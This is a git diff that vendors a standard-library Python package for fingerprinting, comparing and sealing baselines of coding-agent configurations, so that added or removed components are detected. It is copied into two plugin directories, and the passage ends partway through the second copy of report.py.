core.save_state(p, {"generation": 1}) + core.save_state(p, {"generation": 2}) + assert json.loads(p.read_text(encoding="utf-8"))["generation"] == 2 + + def test_state_paths_is_hashable_and_frozen(self): + paths = core.StatePaths(baseline=Path("b"), latest=Path("l")) + assert {paths} + with pytest.raises(Exception): + paths.baseline = Path("other") + + +def test_core_has_no_third_party_dependencies(): + """The engines run from shell hooks before anything is installed, so the core + must import with the standard library alone.""" + src = Path(__file__).resolve().parent.parent / "src" / "agentrust_capture_core" + stdlib_ok = { + "hashlib", "json", "os", "tempfile", "time", "uuid", "datetime", "pathlib", + "dataclasses", "collections", "collections.abc", "__future__", + } + for module in sorted(src.glob("*.py")): + for line in module.read_text(encoding="utf-8").splitlines(): + line = line.strip() + if line.startswith("from .") or line.startswith("import ."): + continue + if line.startswith("import "): + name = line[len("import "):].split()[0].split(".")[0] + assert name in stdlib_ok, "%s imports %s" % (module.name, name) + elif line.startswith("from ") and " import " in line: + name = line[len("from "):].split()[0] + assert name in stdlib_ok, "%s imports from %s" % (module.name, name) diff --git a/plugins/agentrust-codex/engine/_vendor/agentrust_capture_core/VENDORED.md b/plugins/agentrust-codex/engine/_vendor/agentrust_capture_core/VENDORED.md new file mode 100644 index 0000000..2c8b669 --- /dev/null +++ b/plugins/agentrust-codex/engine/_vendor/agentrust_capture_core/VENDORED.md @@ -0,0 +1,7 @@ +# Generated by scripts/sync_vendored_core.py. Do not edit. +# +# Pinned copy of agentrust-capture-core, used when the package is not installed. +# The engines run from shell hooks before anything is installed, so this fallback +# is what makes drift detection work on a bare plugin install. Edit +# packages/agentrust-capture-core and re-run the sync script; CI fails if this +# copy and the package disagree. diff --git a/plugins/agentrust-codex/engine/_vendor/agentrust_capture_core/__init__.py b/plugins/agentrust-codex/engine/_vendor/agentrust_capture_core/__init__.py new file mode 100644 index 0000000..ef9c4e1 --- /dev/null +++ b/plugins/agentrust-codex/engine/_vendor/agentrust_capture_core/__init__.py @@ -0,0 +1,97 @@ +"""Shared core for AgenTrust agent-integrity capture engines. + +Each engine answers one question about a different coding agent: is this the +composition I approved, with nothing added and nothing subtracted? What differs +between agents is where to look and what to call things. What must not differ is +how content is fingerprinted, how snapshots are compared, how a baseline is sealed, +and the rules that keep a report honest. + +Those lived in three copies before this package existed, and the cost was not +theoretical: the same skill-fingerprinting bypass had to be found and fixed twice, +independently, and a reporting defect once. This package is the single source of +truth for the parts that are genuinely identical. + +Standard library only, because the engines run from shell hooks at session start +and must work before anything is installed. +""" + +from __future__ import annotations + +from .compare import ( + Change, + diff_hash, + diff_maps, + diff_scalar, + diff_sets, + observed_categories, + scope_change, +) +from .hashing import ( + EXCLUDE_DIRS, + EXCLUDE_SUFFIXES, + now_iso, + safe_sha_file, + sha_bytes, + sha_file, + sha_mapping, + tree_digest, + uuid7, +) +from .report import ( + UNMEASURED, + change_lines, + clean_verdict, + measured_or, + seal_section, + unmeasured_footnote, +) +from .seal import ( + INTEGRITY_BROKEN, + INTEGRITY_OK, + INTEGRITY_UNSEALED, + SEAL_FIELD, + attach_seal, + check_seal, + state_digest, +) +from .state import StatePaths, atomic_write, load_state, save_baseline, save_state + +__version__ = "0.1.0" + +__all__ = [ + "Change", + "EXCLUDE_DIRS", + "EXCLUDE_SUFFIXES", + "INTEGRITY_BROKEN", + "INTEGRITY_OK", + "INTEGRITY_UNSEALED", + "SEAL_FIELD", + "StatePaths", + "UNMEASURED", + "__version__", + "atomic_write", + "attach_seal", + "change_lines", + "check_seal", + "clean_verdict", + "diff_hash", + "diff_maps", + "diff_scalar", + "diff_sets", + "load_state", + "measured_or", + "now_iso", + "observed_categories", + "safe_sha_file", + "save_baseline", + "save_state", + "scope_change", + "seal_section", + "sha_bytes", + "sha_file", + "sha_mapping", + "state_digest", + "tree_digest", + "unmeasured_footnote", + "uuid7", +] diff --git a/plugins/agentrust-codex/engine/_vendor/agentrust_capture_core/compare.py b/plugins/agentrust-codex/engine/_vendor/agentrust_capture_core/compare.py new file mode 100644 index 0000000..67ddebe --- /dev/null +++ b/plugins/agentrust-codex/engine/_vendor/agentrust_capture_core/compare.py @@ -0,0 +1,119 @@ +"""Comparison primitives, plus the two gates that keep a comparison honest. + +Every engine's diff reduces to four shapes: a map of name to digest (components, +instruction files, policy files), a set of names (tools, MCP servers), a scalar +(model, permission mode), and a rollup hash. What differs between engines is which +categories exist and what they are called, so those stay with the engine and the +shapes live here. + +Two gates matter more than the shapes. + +**Observed gating.** A snapshot records which categories it actually measured. A +shell hook cannot enumerate a live tool roster, so comparing a hook snapshot +against a richer baseline would report the baseline's tools as removed. Only +categories that BOTH sides measured are compared. + +**Scope gating.** When an engine widens what a fingerprint covers, old fingerprints +become incomparable. Without handling, an upgrade reports every affected component +as changed. That is an alarm the user knows is false, which is worse than no alarm +because it teaches them to dismiss the next one. So a scope mismatch is reported +once, as a re-approval prompt, and the affected categories are dropped from the +comparison rather than compared wrongly. +""" + +from __future__ import annotations + +from collections.abc import Iterable, Mapping, Sequence + +__all__ = [ + "Change", + "diff_hash", + "diff_maps", + "diff_scalar", + "diff_sets", + "observed_categories", + "scope_change", +] + +#: A single finding. ``change`` is one of added, removed, changed. +Change = dict + + +def _change(change: str, what: str, detail: str) -> Change: + return {"change": change, "what": what, "detail": detail} + + +def diff_maps(base: Mapping[str, str], current: Mapping[str, str], what: str) -> list[Change]: + """Compare two name-to-digest maps. Names are reported, digests are not. + + A digest in a report tells the reader nothing they can act on; the name of the + component that moved does. + """ + out: list[Change] = [] + for name in sorted(set(current) - set(base)): + out.append(_change("added", what, name)) + for name in sorted(set(base) - set(current)): + out.append(_change("removed", what, name)) + for name in sorted(set(base) & set(current)): + if base[name] != current[name]: + out.append(_change("changed", what, name)) + return out + + +def diff_sets(base: Iterable[str], current: Iterable[str], what: str) -> list[Change]: + """Compare two name sets, for categories with no per-item digest.""" + before, after = set(base), set(current) + out: list[Change] = [] + for name in sorted(after - before): + out.append(_change("added", what, name)) + for name in sorted(before - after): + out.append(_change("removed", what, name)) + return out + + +def diff_scalar(before: object, after: object, what: str, *, unknown: str = "unknown") -> list[Change]: + """Compare a single value, reporting the transition rather than just the fact.""" + if before == after: + return [] + return [_change("changed", what, "%s -> %s" % (before or unknown, after or unknown))] + + +def diff_hash(before: str | None, after: str | None, what: str, detail: str) -> list[Change]: + """Compare a rollup hash, where only the fact of change is available.""" + if before == after: + return [] + return [_change("changed", what, detail)] + + +def observed_categories( + base: Mapping[str, object], + current: Mapping[str, object], + default: Sequence[str] = (), +) -> set[str]: + """Categories both snapshots measured, and therefore may be compared.""" + return set(base.get("observed", list(default))) & set(current.get("observed", list(default))) + + +def scope_change( + base: Mapping[str, object], + current_scope: int, + *, + affected: Sequence[str], + reason: str, +) -> Change | None: + """Report a widened measurement scope, or None when the scopes agree. + + ``affected`` names the categories the caller must drop from its comparison, + and is included in the message so the reader knows what was not checked rather + than assuming everything was. + """ + base_scope = base.get("scope", 1) + if base_scope == current_scope: + return None + dropped = ", ".join(affected) if affected else "none" + return _change( + "changed", + "measurement scope", + "widened from %s to %s; %s Not compared this run: %s. Re-approve once to " + "compare on the new scope." % (base_scope, current_scope, reason, dropped), + ) diff --git a/plugins/agentrust-codex/engine/_vendor/agentrust_capture_core/hashing.py b/plugins/agentrust-codex/engine/_vendor/agentrust_capture_core/hashing.py new file mode 100644 index 0000000..0b60284 --- /dev/null +++ b/plugins/agentrust-codex/engine/_vendor/agentrust_capture_core/hashing.py @@ -0,0 +1,146 @@ +"""Content fingerprinting shared by every AgenTrust capture engine. + +Every engine answers the same question about a different agent: is this the +composition I approved, with nothing added and nothing subtracted? The parts that +differ between agents are *where to look* and *what to call things*. Hashing is +not one of them, so it lives here. + +Standard library only. The engines are invoked by shell hooks at session start and +must run before any dependency is installed. +""" + +from __future__ import annotations + +import hashlib +import os +import time +import uuid +from datetime import datetime, timezone +from pathlib import Path + +__all__ = [ + "EXCLUDE_DIRS", + "EXCLUDE_SUFFIXES", + "now_iso", + "sha_bytes", + "sha_file", + "sha_mapping", + "safe_sha_file", + "tree_digest", + "uuid7", +] + +#: Directory names skipped when fingerprinting a component tree. These hold state +#: a component writes as it runs, so hashing them would report drift on ordinary +#: use, and a tool that cries wolf on every run trains its user to ignore it. +#: +#: Controlled here rather than by a file inside the component on purpose. A +#: per-component ignore file would let the thing being measured decide what gets +#: measured, so a hostile component could ship a rule covering its own payload. +#: Adding a name here is a reviewed change to this package. +EXCLUDE_DIRS = frozenset({ + "state", ".cache", "__pycache__", ".git", ".pytest_cache", "node_modules", +}) + +#: File suffixes skipped for the same reason: run artifacts, not behaviour. +EXCLUDE_SUFFIXES = frozenset({".log", ".tmp", ".pyc", ".pyo"}) + + +def sha_bytes(payload: bytes) -> str: + return "sha256:" + hashlib.sha256(payload).hexdigest() + + +def sha_file(path: Path) -> str: + return sha_bytes(path.read_bytes()) + + +def safe_sha_file(path: Path) -> str | None: + """Digest a file, or None if it is missing or unreadable. + + Used on the discovery path, where a file vanishing between listing and + reading is ordinary rather than exceptional. + """ + try: + return sha_file(path) + except OSError: + return None + + +def sha_mapping(value: dict) -> str: + """Digest a mapping by canonical JSON, so key order cannot change the result.""" + import json + + return sha_bytes(json.dumps(value, sort_keys=True, separators=(",", ":")).encode()) + + +def tree_digest( + root: Path, + *, + exclude_dirs: frozenset[str] = EXCLUDE_DIRS, + exclude_suffixes: frozenset[str] = EXCLUDE_SUFFIXES, + pattern: str = "*", +) -> str | None: + """Digest every behavioural file under ``root``, or None if nothing was read. + + Covers the whole tree rather than a single manifest file. A component is not + just its manifest: these directories carry scripts, tools, templates and + reference material that decide what the component actually does. Digesting one + manifest let a payload be swapped into a sibling ``scripts/`` directory while + the report said nothing added, nothing subtracted. That was a live bypass in + two shipped engines before this function existed, which is the reason it is + shared rather than reimplemented. + + Relative paths are bound into the digest alongside contents, so a rename or a + move is drift. Traversal is sorted so the digest is stable across platforms. + Symlinks are skipped so a link out of the tree cannot pull unrelated content + into the fingerprint, and so a cycle cannot hang the hook. + """ + digest = hashlib.sha256() + try: + paths = sorted(root.rglob(pattern)) + except OSError: + return None + saw_file = False + for path in paths: + if path.is_symlink(): + continue + try: + if not path.is_file(): + continue + relative = path.relative_to(root) + except (OSError, ValueError): + continue + if exclude_dirs & set(relative.parts[:-1]): + continue + if path.suffix in exclude_suffixes: + continue + digest.update(relative.as_posix().encode("utf-8")) + try: + body = path.read_bytes() + except OSError: + # An unreadable file is itself worth recording: its path is already + # bound in, so the file appearing or vanishing still moves the digest + # instead of being silently skipped. + digest.update(b"\0\0") + saw_file = True + continue + digest.update(b"\0") + digest.update(body) + digest.update(b"\0") + saw_file = True + if not saw_file: + return None + return "sha256:" + digest.hexdigest() + + +def uuid7() -> str: + """RFC 9562 UUID v7 (time-ordered), required by agent-manifest.""" + ms = int(time.time() * 1000) + raw = bytearray(ms.to_bytes(6, "big") + os.urandom(10)) + raw[6] = 0x70 | (raw[6] & 0x0F) + raw[8] = 0x80 | (raw[8] & 0x3F) + return str(uuid.UUID(bytes=bytes(raw))) + + +def now_iso() -> str: + return datetime.now(timezone.utc).isoformat(timespec="seconds").replace("+00:00", "Z") diff --git a/plugins/agentrust-codex/engine/_vendor/agentrust_capture_core/report.py b/plugins/agentrust-codex/engine/_vendor/agentrust_capture_core/report.py new file mode 100644 index 0000000..e2629cc --- /dev/null +++ b/plugins/agentrust-codex/engine/_vendor/agentrust_capture_core/report.py @@ -0,0 +1,101 @@ +"""Report vocabulary shared across engines. + +The engines render different reports on purpose: they name different things and a +Codex user should not read Claude Code labels. What must not differ is the honesty +rules, because those drifted once already and each engine had to be fixed +separately. + +Two rules live here. + +**An unmeasured category is not an empty one.** A shell hook cannot see a live tool +roster or the model, so those arrive only from a caller-supplied live context. +Rendering them as ``0 tools`` or ``model: unknown`` states a measurement that was +never taken, and a reader who cannot tell "we did not check" from "we checked and +found nothing" will treat an absence as a pass. + +**A partial check is not a clean bill of health.** "Nothing added, nothing +subtracted" is only true of what was compared, so it is qualified whenever coverage +is incomplete. +""" + +from __future__ import annotations + +from collections.abc import Sequence + +from .seal import INTEGRITY_BROKEN, INTEGRITY_OK, INTEGRITY_UNSEALED + +__all__ = [ + "UNMEASURED", + "clean_verdict", + "measured_or", + "seal_section", + "unmeasured_footnote", +] + +#: Shown wherever a category was not measured. +UNMEASURED = "not measured this run" + + +def measured_or(value: object, measured: bool, hint: str | None = None) -> str: + """Render ``value`` when it was measured, and say so plainly when it was not.""" + if measured: + return str(value) + return "%s (%s)" % (UNMEASURED, hint) if hint else UNMEASURED + + +def unmeasured_footnote(complete: bool) -> list[str]: + """The line that stops an absent measurement reading as a verified absence.""" + if complete: + return [] + return [ + ' Categories marked "%s" are NOT part of this comparison.' % UNMEASURED, + " They are unchecked, not verified as empty.", + "", + ] + + +def clean_verdict(complete: bool, phrasing: str = "nothing added, nothing subtracted") -> str: + """A no-changes verdict, qualified when coverage was partial.""" + scope = "" if complete else " in the categories checked" + return " >> Verified: %s%s." % (phrasing, scope) + + +def seal_section(integrity: str, digest: str | None = None) -> list[str]: + """The baseline-integrity block, stated before any drift result. + + Ordering is the point. If the baseline was altered, a reassuring "nothing + changed" underneath it is worse than no result at all, so a caller renders this + above its drift section. + """ + lines = [" IS THE BASELINE ITSELF INTACT?", " " + "-" * 62] + if integrity == INTEGRITY_BROKEN: + lines += [ + " !! the baseline FAILED its integrity check. It was modified outside", + " this tool, so the comparison below is unreliable. Re-approve only", + " once you are satisfied the current setup is what you intend.", + ] + elif integrity == INTEGRITY_UNSEALED: + lines.append(" ~ baseline carries no digest (written by an older version). " + "Re-approve to seal it.") + elif integrity == INTEGRITY_OK: + lines.append(" >> baseline digest verified.") + if digest: + lines.append(" digest: %s" % digest) + lines += [ + " A digest stored beside the content catches corruption and a", + " hand-edit, not an attacker who owns this directory and can", + " recompute it. Compare the digest above against the one you", + " recorded off-box: that is what catches a silent re-baseline.", + "", + ] + return lines + + +def change_lines(changes: Sequence[dict]) -> list[str]: + """Render findings with a stable symbol per kind.""" + symbol = {"added": "+", "removed": "-", "changed": "~"} + return [ + " %s %s %s: %s" % (symbol.get(c["change"], "?"), c["change"].upper(), + c["what"], c["detail"]) + for c in changes + ] diff --git a/plugins/agentrust-codex/engine/_vendor/agentrust_capture_core/seal.py b/plugins/agentrust-codex/engine/_vendor/agentrust_capture_core/seal.py new file mode 100644 index 0000000..7b0f641 --- /dev/null +++ b/plugins/agentrust-codex/engine/_vendor/agentrust_capture_core/seal.py @@ -0,0 +1,80 @@ +"""Baseline sealing: is the thing we compare against still what we wrote? + +The baseline is what every drift comparison is made against. An unsealed baseline +means anyone able to write it can add a component to the *approved* set, after +which the check reports "nothing added, nothing subtracted" indefinitely and +quietly. The evidence would share a fate with the adversary, which is the failure +this project exists to argue against. + +A note on what this is, because the obvious design is worse than it looks. The +first version used an HMAC with a secret stored beside the baseline. A scanner +flagged the stored secret, and the flag was worth more than a suppression: the +only adversary an HMAC defeats here is one who can WRITE the state directory +without being able to READ it. On a developer machine that adversary is close to +fictional, since anything that can write your home directory can read it and would +simply retag. The secret bought almost no coverage while adding a credential to +leak and a claim inviting a reader to assume more protection than exists. + +So: a bare digest. Same real coverage, nothing to steal. It catches corruption, +truncation and a hand-edit that does not recompute it. Neither a digest nor an +HMAC catches an attacker who owns the directory. + +The control that does survive that attacker is off-box. `approve` prints the +digest, `verify` prints the digest of the baseline it read, and a human who +recorded the first sees a silent re-baseline. That is where the security lives, so +this module keeps the cheap local check and the engines point at the real one. +""" + +from __future__ import annotations + +from .hashing import now_iso, sha_mapping + +__all__ = [ + "INTEGRITY_BROKEN", + "INTEGRITY_OK", + "INTEGRITY_UNSEALED", + "SEAL_FIELD", + "attach_seal", + "check_seal", + "state_digest", +] + +#: Excluded from the digest it carries, since including it would be circular. +SEAL_FIELD = "integrity" + +INTEGRITY_OK = "ok" +INTEGRITY_UNSEALED = "unsealed" # no digest: written before sealing existed +INTEGRITY_BROKEN = "broken" # digest present and wrong: edited outside the tool + + +def state_digest(snapshot: dict) -> str: + """Digest of a snapshot's content, ignoring any seal it carries. + + Deterministic, so the value ``approve`` prints can be compared by eye against + the value ``verify`` prints later. + """ + return sha_mapping({k: v for k, v in snapshot.items() if k != SEAL_FIELD}) + + +def attach_seal(snapshot: dict) -> dict: + """Return a copy of ``snapshot`` sealed with a digest over its content.""" + return {**snapshot, SEAL_FIELD: { + "alg": "SHA-256", + "digest": state_digest(snapshot), + "sealed_at": now_iso(), + }} + + +def check_seal(snapshot: dict | None) -> str: + """Recompute the seal and compare. Never raises. + + Catches accidental corruption, truncation, and a hand-edit that does not + recompute the digest. Does not catch an attacker who owns the state directory, + who can recompute it as easily as this function can. + """ + if snapshot is None: + return INTEGRITY_UNSEALED + seal = snapshot.get(SEAL_FIELD) + if not isinstance(seal, dict) or not isinstance(seal.get("digest"), str): + return INTEGRITY_UNSEALED + return INTEGRITY_OK if seal["digest"] == state_digest(snapshot) else INTEGRITY_BROKEN diff --git a/plugins/agentrust-codex/engine/_vendor/agentrust_capture_core/state.py b/plugins/agentrust-codex/engine/_vendor/agentrust_capture_core/state.py new file mode 100644 index 0000000..c5e87c9 --- /dev/null +++ b/plugins/agentrust-codex/engine/_vendor/agentrust_capture_core/state.py @@ -0,0 +1,76 @@ +"""Reading and writing engine state, and the paths it lives at. + +Baseline scoping differs by design and is not unified here. Claude Code keeps one +baseline per machine; Codex keeps one per workspace, because a workspace can carry +its own instructions and skills and a single baseline would blend them. Both are +correct for their agent, so an engine supplies its own paths and this module only +handles the reading and writing. +""" + +from __future__ import annotations + +import json +import os +import tempfile +from dataclasses import dataclass +from pathlib import Path + +from .seal import attach_seal + +__all__ = ["StatePaths", "atomic_write", "load_state", "save_state", "save_baseline"] + + +@dataclass(frozen=True) +class StatePaths: + """Where one engine keeps its approved baseline and its latest snapshot.""" + + baseline: Path + latest: Path + + +def atomic_write(path: Path, content: str) -> None: + """Write via a temporary file and replace, so a crash cannot truncate state. + + A half-written baseline is worse than a missing one: the engine would treat it + as corrupt on every future session, and a user who sees a broken check often + enough stops reading it. + """ + path.parent.mkdir(parents=True, exist_ok=True) + handle, tmp_name = tempfile.mkstemp(dir=str(path.parent), prefix=path.name, suffix=".tmp") + tmp = Path(tmp_name) + try: + with os.fdopen(handle, "w", encoding="utf-8") as fh: + fh.write(content) + fh.flush() + os.fsync(fh.fileno()) + os.replace(tmp, path) + except BaseException: + tmp.unlink(missing_ok=True) + raise + + +def save_state(path: Path, value: dict) -> None: + atomic_write(path, json.dumps(value, indent=2)) + + +def save_baseline(path: Path, snapshot: dict) -> dict: + """Seal a snapshot and write it as the approved baseline. Returns what was written.""" + sealed = attach_seal(snapshot) + save_state(path, sealed) + return sealed + + +def load_state(path: Path) -> dict | None: + """Load a state file, or None if it is absent, unreadable, or corrupt. + + A truncated baseline (crash mid-write, disk full, racing sessions) must not + brick the hook on every future session. Treating corrupt state as absent lets + the next run re-establish it instead of failing forever. + """ + if not path.is_file(): + return None + try: + data = json.loads(path.read_text(encoding="utf-8")) + except (json.JSONDecodeError, OSError): + return None + return data if isinstance(data, dict) else None diff --git a/scheduled-agents/engine/_vendor/agentrust_capture_core/VENDORED.md b/scheduled-agents/engine/_vendor/agentrust_capture_core/VENDORED.md new file mode 100644 index 0000000..2c8b669 --- /dev/null +++ b/scheduled-agents/engine/_vendor/agentrust_capture_core/VENDORED.md @@ -0,0 +1,7 @@ +# Generated by scripts/sync_vendored_core.py. Do not edit. +# +# Pinned copy of agentrust-capture-core, used when the package is not installed. +# The engines run from shell hooks before anything is installed, so this fallback +# is what makes drift detection work on a bare plugin install. Edit +# packages/agentrust-capture-core and re-run the sync script; CI fails if this +# copy and the package disagree. diff --git a/scheduled-agents/engine/_vendor/agentrust_capture_core/__init__.py b/scheduled-agents/engine/_vendor/agentrust_capture_core/__init__.py new file mode 100644 index 0000000..ef9c4e1 --- /dev/null +++ b/scheduled-agents/engine/_vendor/agentrust_capture_core/__init__.py @@ -0,0 +1,97 @@ +"""Shared core for AgenTrust agent-integrity capture engines. + +Each engine answers one question about a different coding agent: is this the +composition I approved, with nothing added and nothing subtracted? What differs +between agents is where to look and what to call things. What must not differ is +how content is fingerprinted, how snapshots are compared, how a baseline is sealed, +and the rules that keep a report honest. + +Those lived in three copies before this package existed, and the cost was not +theoretical: the same skill-fingerprinting bypass had to be found and fixed twice, +independently, and a reporting defect once. This package is the single source of +truth for the parts that are genuinely identical. + +Standard library only, because the engines run from shell hooks at session start +and must work before anything is installed. +""" + +from __future__ import annotations + +from .compare import ( + Change, + diff_hash, + diff_maps, + diff_scalar, + diff_sets, + observed_categories, + scope_change, +) +from .hashing import ( + EXCLUDE_DIRS, + EXCLUDE_SUFFIXES, + now_iso, + safe_sha_file, + sha_bytes, + sha_file, + sha_mapping, + tree_digest, + uuid7, +) +from .report import ( + UNMEASURED, + change_lines, + clean_verdict, + measured_or, + seal_section, + unmeasured_footnote, +) +from .seal import ( + INTEGRITY_BROKEN, + INTEGRITY_OK, + INTEGRITY_UNSEALED, + SEAL_FIELD, + attach_seal, + check_seal, + state_digest, +) +from .state import StatePaths, atomic_write, load_state, save_baseline, save_state + +__version__ = "0.1.0" + +__all__ = [ + "Change", + "EXCLUDE_DIRS", + "EXCLUDE_SUFFIXES", + "INTEGRITY_BROKEN", + "INTEGRITY_OK", + "INTEGRITY_UNSEALED", + "SEAL_FIELD", + "StatePaths", + "UNMEASURED", + "__version__", + "atomic_write", + "attach_seal", + "change_lines", + "check_seal", + "clean_verdict", + "diff_hash", + "diff_maps", + "diff_scalar", + "diff_sets", + "load_state", + "measured_or", + "now_iso", + "observed_categories", + "safe_sha_file", + "save_baseline", + "save_state", + "scope_change", + "seal_section", + "sha_bytes", + "sha_file", + "sha_mapping", + "state_digest", + "tree_digest", + "unmeasured_footnote", + "uuid7", +] diff --git a/scheduled-agents/engine/_vendor/agentrust_capture_core/compare.py b/scheduled-agents/engine/_vendor/agentrust_capture_core/compare.py new file mode 100644 index 0000000..67ddebe --- /dev/null +++ b/scheduled-agents/engine/_vendor/agentrust_capture_core/compare.py @@ -0,0 +1,119 @@ +"""Comparison primitives, plus the two gates that keep a comparison honest. + +Every engine's diff reduces to four shapes: a map of name to digest (components, +instruction files, policy files), a set of names (tools, MCP servers), a scalar +(model, permission mode), and a rollup hash. What differs between engines is which +categories exist and what they are called, so those stay with the engine and the +shapes live here. + +Two gates matter more than the shapes. + +**Observed gating.** A snapshot records which categories it actually measured. A +shell hook cannot enumerate a live tool roster, so comparing a hook snapshot +against a richer baseline would report the baseline's tools as removed. Only +categories that BOTH sides measured are compared. + +**Scope gating.** When an engine widens what a fingerprint covers, old fingerprints +become incomparable. Without handling, an upgrade reports every affected component +as changed. That is an alarm the user knows is false, which is worse than no alarm +because it teaches them to dismiss the next one. So a scope mismatch is reported +once, as a re-approval prompt, and the affected categories are dropped from the +comparison rather than compared wrongly. +""" + +from __future__ import annotations + +from collections.abc import Iterable, Mapping, Sequence + +__all__ = [ + "Change", + "diff_hash", + "diff_maps", + "diff_scalar", + "diff_sets", + "observed_categories", + "scope_change", +] + +#: A single finding. ``change`` is one of added, removed, changed. +Change = dict + + +def _change(change: str, what: str, detail: str) -> Change: + return {"change": change, "what": what, "detail": detail} + + +def diff_maps(base: Mapping[str, str], current: Mapping[str, str], what: str) -> list[Change]: + """Compare two name-to-digest maps. Names are reported, digests are not. + + A digest in a report tells the reader nothing they can act on; the name of the + component that moved does. + """ + out: list[Change] = [] + for name in sorted(set(current) - set(base)): + out.append(_change("added", what, name)) + for name in sorted(set(base) - set(current)): + out.append(_change("removed", what, name)) + for name in sorted(set(base) & set(current)): + if base[name] != current[name]: + out.append(_change("changed", what, name)) + return out + + +def diff_sets(base: Iterable[str], current: Iterable[str], what: str) -> list[Change]: + """Compare two name sets, for categories with no per-item digest.""" + before, after = set(base), set(current) + out: list[Change] = [] + for name in sorted(after - before): + out.append(_change("added", what, name)) + for name in sorted(before - after): + out.append(_change("removed", what, name)) + return out + + +def diff_scalar(before: object, after: object, what: str, *, unknown: str = "unknown") -> list[Change]: + """Compare a single value, reporting the transition rather than just the fact.""" + if before == after: + return [] + return [_change("changed", what, "%s -> %s" % (before or unknown, after or unknown))] + + +def diff_hash(before: str | None, after: str | None, what: str, detail: str) -> list[Change]: + """Compare a rollup hash, where only the fact of change is available.""" + if before == after: + return [] + return [_change("changed", what, detail)] + + +def observed_categories( + base: Mapping[str, object], + current: Mapping[str, object], + default: Sequence[str] = (), +) -> set[str]: + """Categories both snapshots measured, and therefore may be compared.""" + return set(base.get("observed", list(default))) & set(current.get("observed", list(default))) + + +def scope_change( + base: Mapping[str, object], + current_scope: int, + *, + affected: Sequence[str], + reason: str, +) -> Change | None: + """Report a widened measurement scope, or None when the scopes agree. + + ``affected`` names the categories the caller must drop from its comparison, + and is included in the message so the reader knows what was not checked rather + than assuming everything was. + """ + base_scope = base.get("scope", 1) + if base_scope == current_scope: + return None + dropped = ", ".join(affected) if affected else "none" + return _change( + "changed", + "measurement scope", + "widened from %s to %s; %s Not compared this run: %s. Re-approve once to " + "compare on the new scope." % (base_scope, current_scope, reason, dropped), + ) diff --git a/scheduled-agents/engine/_vendor/agentrust_capture_core/hashing.py b/scheduled-agents/engine/_vendor/agentrust_capture_core/hashing.py new file mode 100644 index 0000000..0b60284 --- /dev/null +++ b/scheduled-agents/engine/_vendor/agentrust_capture_core/hashing.py @@ -0,0 +1,146 @@ +"""Content fingerprinting shared by every AgenTrust capture engine. + +Every engine answers the same question about a different agent: is this the +composition I approved, with nothing added and nothing subtracted? The parts that +differ between agents are *where to look* and *what to call things*. Hashing is +not one of them, so it lives here. + +Standard library only. The engines are invoked by shell hooks at session start and +must run before any dependency is installed. +""" + +from __future__ import annotations + +import hashlib +import os +import time +import uuid +from datetime import datetime, timezone +from pathlib import Path + +__all__ = [ + "EXCLUDE_DIRS", + "EXCLUDE_SUFFIXES", + "now_iso", + "sha_bytes", + "sha_file", + "sha_mapping", + "safe_sha_file", + "tree_digest", + "uuid7", +] + +#: Directory names skipped when fingerprinting a component tree. These hold state +#: a component writes as it runs, so hashing them would report drift on ordinary +#: use, and a tool that cries wolf on every run trains its user to ignore it. +#: +#: Controlled here rather than by a file inside the component on purpose. A +#: per-component ignore file would let the thing being measured decide what gets +#: measured, so a hostile component could ship a rule covering its own payload. +#: Adding a name here is a reviewed change to this package. +EXCLUDE_DIRS = frozenset({ + "state", ".cache", "__pycache__", ".git", ".pytest_cache", "node_modules", +}) + +#: File suffixes skipped for the same reason: run artifacts, not behaviour. +EXCLUDE_SUFFIXES = frozenset({".log", ".tmp", ".pyc", ".pyo"}) + + +def sha_bytes(payload: bytes) -> str: + return "sha256:" + hashlib.sha256(payload).hexdigest() + + +def sha_file(path: Path) -> str: + return sha_bytes(path.read_bytes()) + + +def safe_sha_file(path: Path) -> str | None: + """Digest a file, or None if it is missing or unreadable. + + Used on the discovery path, where a file vanishing between listing and + reading is ordinary rather than exceptional. + """ + try: + return sha_file(path) + except OSError: + return None + + +def sha_mapping(value: dict) -> str: + """Digest a mapping by canonical JSON, so key order cannot change the result.""" + import json + + return sha_bytes(json.dumps(value, sort_keys=True, separators=(",", ":")).encode()) + + +def tree_digest( + root: Path, + *, + exclude_dirs: frozenset[str] = EXCLUDE_DIRS, + exclude_suffixes: frozenset[str] = EXCLUDE_SUFFIXES, + pattern: str = "*", +) -> str | None: + """Digest every behavioural file under ``root``, or None if nothing was read. + + Covers the whole tree rather than a single manifest file. A component is not + just its manifest: these directories carry scripts, tools, templates and + reference material that decide what the component actually does. Digesting one + manifest let a payload be swapped into a sibling ``scripts/`` directory while + the report said nothing added, nothing subtracted. That was a live bypass in + two shipped engines before this function existed, which is the reason it is + shared rather than reimplemented. + + Relative paths are bound into the digest alongside contents, so a rename or a + move is drift. Traversal is sorted so the digest is stable across platforms. + Symlinks are skipped so a link out of the tree cannot pull unrelated content + into the fingerprint, and so a cycle cannot hang the hook. + """ + digest = hashlib.sha256() + try: + paths = sorted(root.rglob(pattern)) + except OSError: + return None + saw_file = False + for path in paths: + if path.is_symlink(): + continue + try: + if not path.is_file(): + continue + relative = path.relative_to(root) + except (OSError, ValueError): + continue + if exclude_dirs & set(relative.parts[:-1]): + continue + if path.suffix in exclude_suffixes: + continue + digest.update(relative.as_posix().encode("utf-8")) + try: + body = path.read_bytes() + except OSError: + # An unreadable file is itself worth recording: its path is already + # bound in, so the file appearing or vanishing still moves the digest + # instead of being silently skipped. + digest.update(b"\0\0") + saw_file = True + continue + digest.update(b"\0") + digest.update(body) + digest.update(b"\0") + saw_file = True + if not saw_file: + return None + return "sha256:" + digest.hexdigest() + + +def uuid7() -> str: + """RFC 9562 UUID v7 (time-ordered), required by agent-manifest.""" + ms = int(time.time() * 1000) + raw = bytearray(ms.to_bytes(6, "big") + os.urandom(10)) + raw[6] = 0x70 | (raw[6] & 0x0F) + raw[8] = 0x80 | (raw[8] & 0x3F) + return str(uuid.UUID(bytes=bytes(raw))) + + +def now_iso() -> str: + return datetime.now(timezone.utc).isoformat(timespec="seconds").replace("+00:00", "Z") diff --git a/scheduled-agents/engine/_vendor/agentrust_capture_core/report.py b/scheduled-agents/engine/_vendor/agentrust_capture_core/report.py new file mode 100644 index 0000000..e2629cc --- /dev/null +++ b/scheduled-agents/engine/_vendor/agentrust_capture_core/report.py @@ -0,0 +1,101 @@ +"""Report vocabulary shared across engines. + +The engines render different reports on purpose: they name different things and a +Codex user should not read Claude Code labels. What must not differ is the honesty +rules, because those drifted once already and each engine had to be fixed +separately. + +Two rules live here. + +**An unmeasured category is not an empty one.** A shell hook cannot see a live tool +roster or the model, so those arrive only from a caller-supplied live context. +Rendering them as ``0 